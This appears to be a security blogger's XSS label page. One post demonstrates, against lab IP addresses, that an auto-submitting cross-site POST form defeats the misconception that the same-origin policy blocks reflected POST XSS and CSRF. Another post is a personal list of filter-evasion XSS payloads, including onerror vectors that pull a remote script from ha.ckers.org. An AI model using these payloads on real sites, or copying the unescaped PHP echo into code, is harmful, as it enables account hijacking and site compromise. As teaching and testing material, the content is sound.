Showing posts with label xss. Show all posts
Showing posts with label xss. Show all posts

Friday, May 18, 2018

XSS, CSRF and SOP Mythbuster

I was asked if reflected Cross site scripting (XSS) in POST would be stopped or mitigated by Same origin policy(SOP)? Hmmm...interesting question. As far as I could recall, I answered, simple post submission by html forms are not stopped by SOP.

There seems to be a misconception that POST cross domain request are not allowed due to SOP and that XSS in POST is only exploited in cases of stored XSS. Also that, reflected XSS is exploitable only is GET cases.

Oh well, why believe what anyone says, lets test it out. To test this I will set up a simple html page on victim server(10.211.55.2),  lets call it input page which  takes a comment and post it to post.php page. The post.php page suffers from a serious case of reflected XSS.

<form action="post.php" method="post">
 <input type="text" name="comment" value="">
 <input type="submit" name="submit" value="Submit">
</form>
post.php

<?php
echo $_POST["comment"];
Now lets create a simple html page to exploit it. I was too lazy to create one myself so i decided burp should do it for me. We can call it, test.html.
<html>
  <!-- Simple Post submissions are not blocked by Same origin policy-->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://10.211.55.2/xss/post.php" method="POST">
      <input type="hidden" name="comment" value="testw&lt;script&gt;alert&#40;12345&#41;&lt;&#47;script&gt;wxvu2" />
      <input type="hidden" name="submit" value="Submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
Now for the sake of this proof of concept to proceed, let us assume an attacker was able to redirect users to his malicious web server, serving test.html, or just sends this html page as an attachment.

User visits the malicious website(10.211.55.5) on windows and opens test.html...



...and submits the post form to execute XSS which is hosted on 10.211.55.2.



Taking it a step further so that we can call a javascript to "click" the submit button. Javascripts can be used to simulate a post form submission.
<!DOCTYPE html>

<html>

  <!-- Simple Post submissions are not blocked by Same origin policy-->

  <body>

  <script>history.pushState('', '', '/')</script>

    <form action="http://10.211.55.2/xss/post.php" method="POST">

      <input type="hidden" name="comment" value="testw&lt;script&gt;alert&#40;12345&#41;&lt;&#47;script&gt;wxvu2" />

      <input type="hidden" name="submit" value="Submit" />

      <input type="submit" id ="ert" value="Submit request" />

    </form>

  </body>

<script>

document.getElementById("ert").submit();

</script>

</html>


This happens because "The same origin policy is not enforced for all requests. Among others the <script>- and <img>-tags may fetch resources from any domain. Posting forms and linking to other domains is possible, too. "

We can easily extend this to malicious CSRF form submissions. 


So in essence we can conclude:

1. Reflected POST xss can be exploited the same as POST xss, i.e. sending the user to malicious link and use javascript to auto submit the xss post form.

2. Same origin policy does not apply to Cross domain POST form submissions, hence SOP is not a mitigating factor for POST XSS or CSRF. 


References:

https://security.stackexchange.com/questions/8264/why-is-the-same-origin-policy-so-important
https://www.sitepoint.com/php-security-cross-site-scripting-attacks-xss/
https://w-shadow.com/blog/2008/11/20/cross-domain-post-with-javascript/

Monday, February 13, 2017

XSS Post Discovery

Post discovery
  • Load a new URL in browser window without forward slash

<body onload=window.location='https:youtube.com'>


  • Load a local js file from same folder without forward slash

<body onload=document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).setAttribute('src','test.js')>

<body onload=document.head.appendChild(document.createElement('script')).setAttribute('src','test.js')>       

  • Load a remote js file from web without forward slash

<input type="image" src="a" onerror=document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).setAttribute("src","http:\x2F\x2Fha.ckers.org\x2Fxss.js")>
\x2F is evaluated to hex decoded to /  inside javascript before js execution on HTML page.

<body onload=document.head.appendChild(document.createElement('script')).setAttribute('src','http:\x2F\x2Fha.ckers.org\x2Fxss.js')>  

<input type="image" src="a" onerror=document.getElementsByTagName('head')[0].appendChild(document.createElement('script')).setAttribute("src","http://ha.ckers.org/xss.js")>

document.write(document.getElementsByTagName('noscript')[0].innerHTML); # pull data from any tag

Cross Site Scripting (XSS)

This is the personal list of XSS attack vectors based on various scenarios.

XSS Attack vectors
  • Xss without spaces

<marquee/onstart=confirm(5)>
<svg/onload=window.onerror=alert;throw/XSS/;//
  •  xss without forward slash

<BODY ONLOAD=alert('XSS')>
<video><source+onerror%3dalert()>

  • xss without forward slash inside option tag

<option value=” mydata”><input type="image" src="a" onerror="alert(123)"><”

  • inside input tag without space

<input  type="text" name="origin" value="set123"oncopy="alert(123)" />

<input type="hidden" name="x" value="" style="background-image:url(http://youtube.com);"/>
<input type="hidden" name="returnurl" value="" accesskey="X" onclick="alert(document.domain)" />
  • Backslash instead of forward



<input type="image" src="https:\\happyorhungry.files.wordpress.com\2011\10\cookie_monster_original.jpg>


  • Html decode before js execution

<a href="" onclick="alert('hi&#39;);alert(/xss/)//'">click</a>
&#39; is evaluated to html decoded to on HTML page  before js execution.

  • inside script variable declare

<script>var a = ""/alert(123)/"";</script>
payload= "/alert(123)/"


  • Capital Letters XSS

           <IMG SRC=1 ONERROR=&#X61;&#X6C;&#X65;&#X72;&#X74;(1234)>

  • Hash based Dom xss

http://victim.com/? param=";location=location.hash)//#0={};alert(0)
  • No event handler XSS

"><math/href=javascript%26colon;alert%60xss%60>CLICK</math><x













Saturday, February 11, 2017

XSS references



  • XSS protection header
    • http://blog.innerht.ml/the-misunderstood-x-xss-protection/